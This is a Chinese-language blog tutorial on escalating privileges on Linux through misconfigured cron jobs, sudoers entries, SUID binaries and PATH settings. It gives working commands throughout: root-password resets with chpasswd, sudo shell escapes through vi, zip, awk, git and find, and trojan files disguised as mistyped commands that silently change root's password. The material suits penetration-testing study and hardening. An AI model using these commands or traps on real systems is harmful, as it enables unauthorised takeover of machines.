linux常见提权方式总结

前言

提权是渗透测试中重要的一步,我们通常使用各种内核漏洞的cve来进行提权,但是在本文中博主想介绍一些,由于人为配置不当造成的提权方法,开阔提权时的思路。

1. crontab定时任务提权

crontab是cron table的简写,它是cron的配置文件,而cron是linux内置管理定时任务的进程。

我们可以通过如下指令来编辑和查看当前工作表命令

1
2
3
4
crontab [-u username]    //省略用户表表示操作当前用户的crontab
-e (编辑工作表)
-l (列出工作表里的命令)
-r (删除工作表)

更多的crontab操作可以参考教程 https://www.runoob.com/w3cnote/linux-crontab-tasks.html

1.1 root权限定时任务脚本普通用户可写

以root权限执行的定时任务或其所在文件夹,低权限用户拥有写权限,则可进行提权。

示例:

切换到root用户,输入crontab -e,添加一个一分钟执行一次的shell脚本,然后赋予此脚本执行权限和其他用户可写权限。

1
*/1 * * * * /home/test/cron.sh

开启其他shell,切换到普通用户,修改脚本内容为重置root密码,或者添加此普通用户权限等操作。

1
echo "root:password" | chpasswd

然后su root使用更改后密码切换至root

如果文件不可写而文件夹可写的情况,如下图情况,可以删除到整个路径,然后重新由普通用户创建路径和其中脚本,就变成可写的情况了。

1.2 root权限定时任务调用的脚本普通用户可写

很多时候,定时任务并不是孤立存在的,它会去调用很多别的shell脚本来完成一些操作,而root权限的定时任务调用的脚本也会以root权限执行,所以我们仍需要关注其调用的其他脚本是否普通用户可写,如果可写,仍然可以提权。

查询此类脚本的方法是首先找到root的定时任务 xxx.sh,然后在文件种查找其他shell脚本即可

1
grep "*.sh" xxx.sh

2. sudo脚本提权

sudo脚本提权,主要和/etc/sudoers配置文件有关,主要由以下三种配置引起:

  • 1.在sudoers文件中配置的脚本在运行时默认以root权限执行

  • 2.在sudoers文件中配置的文件夹,内部所有脚本默认以root权限执行

  • 3.在sudoers文件中配置的系统命令,默认以root权限执行

而这三种配置就引出了三种提权方式,在这里作者分别配置了,/home/test/sudotest.sh文件,/home/test/sudo文件夹,以及zip,tar,more三个命令,分别对应了上述三种情况

2.1 sudoers文件中配置的脚本文件

/etc/sudoers中配置的sudo脚本文件低权限用户是否具有写权限,具有写权限,则可进行sudo提权。

使用如下命令即可复现

1
2
3
4
cd /home/test
echo "bin/bash" > sudotest.sh
chmod +x sudotest.sh
sudo ./sudotest.sh

2.2 sudoers文件中配置的文件夹

/etc/sudoers中配置的sudo文件夹低权限用户是否具有写权限,具有写权限,则可进行sudo提权。

在之前的配置中我们可以看到,在/home/test/sudo这个test用户可控目录以test随意创建脚本使用sudo执行均是免root密码的。

使用如下命令即可复现

1
2
3
4
cd /home/test/sudo
echo "/bin/bash" > test.sh
chmod +x test.sh
sudo ./test.sh

2.3 使用系统命令sudo提权

如vi,more,less,tar,zip,awk,git,find等命令,如在/etc/sudoers中配置,即存在sudo提权

vi,more,less的命令sudo提权方式都是使用对应命令sudo打开一个文件

1
2
3
sudo vi filename
sudo more filename
sudo less filename

然后在打开界面输入!/bin/bash,即可获得root权限的shell

zip命令

1
zip filename.zip 123.txt -T --unzip-command="!/bin/bash"

awk命令

1
sudo awk 'BEGIN {system("/bin/bash")}'

git命令

1
2
sudo git help status
!/bin/bash

find命令

1
sudo find /bin/ -name ls -exec /bin/bash \;

3. 环境变量提权

3.1 具有S权限位的脚本

Linux中通过设置suid,可以让程序的执行者临时拥有属主的权限,可以使用下面的命令查找具有suid的脚本

1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

然后具有s权限位的这些脚本中如果存在可控环境变量。如脚本中存在调用ps程序,我们可以在低权限用户可写目录中写一个ps文件,内容为/bin/bash,然后将此目录添加到环境变量最优先寻找的目录,再执行脚本,脚本就会以root权限触发/bin/bash,就产生了一个root权限的shell,完成提权。

1
2
echo "/bin/bash" > /home/test/ps
export PATH=/home/test:$PATH

3.2 root的环境变量设置了用户可控目录

root的$PATH若设置了用户可控的目录,用户可以在此可控目录写入一些命令并诱导root用户输入,在这些文件中填充修改root密码的命令或给其他用户添加权限等命令,然后当root用户被诱导输入一些环境变量中配置的指令时就会执行这些命令。通常会配置一些容易输错的单词,并在后面加入返回命令不存在的提示。

如文件名设置为whomai,与正常的命令whoami颠倒了一点顺序,有时手快会输入错误。
然后在whoami中配置

1
2
echo "root:password" |chpasswd >> /dev/null 2>&1
echo "bash: whomai: 未找到命令"

当然我们可以配置非常多的文件名来增加触发概率。

3.3 su切换而不是su -切换导致携带用户环境变量

linux系统在使用su切换时,会携带当前用户的环境变量,使用su -则不会,如果在当前用户环境变量设置如下

1
export PATH=/home/test/ps:$PATH

编辑一个ps文件

1
2
echo "root:password" |chpasswd >> /dev/null 2>&1
ps

那么在从此用户切换到root的管理员,在使用ps时就会修改掉root用户密码。

fork me on github